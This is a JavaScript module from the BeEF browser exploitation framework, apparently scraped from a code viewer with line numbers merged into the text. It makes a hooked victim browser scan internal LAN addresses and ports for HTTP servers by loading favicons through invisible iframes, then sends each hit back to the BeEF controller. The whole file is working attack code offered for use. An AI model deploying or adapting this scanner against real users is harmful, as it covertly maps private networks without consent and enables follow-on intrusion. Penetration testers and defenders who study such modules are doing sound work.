Path: blob/master/modules/network/get_http_servers/command.js
1872 views
//1// Copyright (c) 2006-2026Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var ips = "<%= @rhosts %>";9var ports = "<%= @ports %>";10var timeout = parseInt("<%= @timeout %>", 10)*1000;11var wait = parseInt("<%= @wait %>", 10)*1000;12var threads = parseInt("<%= @threads %>", 10);13var urls = new Array('/favicon.ico', '/favicon.png', '/images/favicon.ico', '/images/favicon.png');1415if(beef.browser.isO()) {16beef.debug("[Favicon Scanner] Browser is not supported.");17beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error());18return;19}2021var sort_unique = function (arr) {22arr = arr.sort(function (a, b) { return a*1 - b*1; });23var ret = [arr[0]];24for (var i = 1; i < arr.length; i++) {25if (arr[i-1] !== arr[i]) {26ret.push(arr[i]);27}28}29return ret;30}3132// set target ports33ports = ports.split(',');34var target_ports = new Array();35for (var i=0; i<ports.length; i++) {36var p = ports[i].replace(/(^\s+|\s+$)/g, '');37if (beef.net.is_valid_port(p)) target_ports.push(p);38}39ports = sort_unique(target_ports);40if (ports.length == 0) {41beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no ports specified", beef.are.status_error());42return;43}4445// set target IP addresses46if (ips == 'common') {47ips = [48'192.168.0.1',49'192.168.0.100',50'192.168.0.254',51'192.168.1.1',52'192.168.1.100',53'192.168.1.254',54'10.0.0.1',55'10.1.1.1',56'192.168.2.1',57'192.168.2.254',58'192.168.100.1',59'192.168.100.254',60'192.168.123.1',61'192.168.123.254',62'192.168.10.1',63'192.168.10.254' ];64} else {65ips = ips.split(',');66var target_ips = new Array();67for (var i=0; i<ips.length; i++) {68var ip = ips[i].replace(/(^\s+|\s+$)/g, '');69if (beef.net.is_valid_ip(ip)) target_ips.push(ip);70else if (beef.net.is_valid_ip_range(ip)) {71ipBounds = ip.split('-');72lowerBound = ipBounds[0].split('.')[3];73upperBound = ipBounds[1].split('.')[3];74for (var i = lowerBound; i <= upperBound; i++) {75target_ips.push(ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i);76}77}78}79ips = sort_unique(target_ips);80if (ips.length == 0) {81beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed target IP address(es) supplied", beef.are.status_error());82return;83}84}8586// request the specified paths from the specified URL87// and report all live URLs back to BeEF88checkFavicon = function(proto, ip, port, uri) {89var img = new Image;90var dom = beef.dom.createInvisibleIframe();91beef.debug("[Favicon Scanner] Checking IP [" + ip + "] (" + proto + ")");92img.src = proto+"://"+ip+":"+port+uri;93img.onerror = function() { dom.removeChild(this); }94img.onload = function() {95beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+"&url="+escape(this.src), beef.are.status_success());dom.removeChild(this);96beef.debug("[Favicon Scanner] Found HTTP Server [" + escape(this.src) + "]");97}98dom.appendChild(img);99// stop & remove iframe100setTimeout(function() {101if (dom.contentWindow.stop !== undefined) {102dom.contentWindow.stop();103} else if (dom.contentWindow.document.execCommand !== undefined) {104dom.contentWindow.document.execCommand("Stop", false);105}106document.body.removeChild(dom);107}, timeout);108}109110// configure workers111WorkerQueue = function(id, frequency) {112var stack = [];113var timer = null;114var frequency = frequency;115var start_scan = (new Date).getTime();116this.process = function() {117var item = stack.shift();118eval(item);119if (stack.length === 0) {120clearInterval(timer);121timer = null;122var interval = (new Date).getTime() - start_scan;123beef.debug("[Favicon Scanner] Worker #"+id+" has finished ["+interval+" ms]");124return;125}126}127this.queue = function(item) {128stack.push(item);129if (timer === null) timer = setInterval(this.process, frequency);130}131}132133// create workers134var workers = new Array();135for (var id = 0; id < threads; id++) workers.push(new WorkerQueue(id, wait));136137// for each favicon path:138for (var u=0; u < urls.length; u++) {139var worker = workers[u % threads];140// for each LAN IP address:141for (var i=0; i < ips.length; i++) {142// for each port:143for (var p=0; p < ports.length; p++) {144var host = ips[i];145var port = ports[p];146if (port == '443') var proto = 'https'; else var proto = 'http';147// add URL to worker queue148worker.queue('checkFavicon("'+proto+'","'+host+'","'+port+'","'+urls[u]+'");');149}150}151}152153});154155156157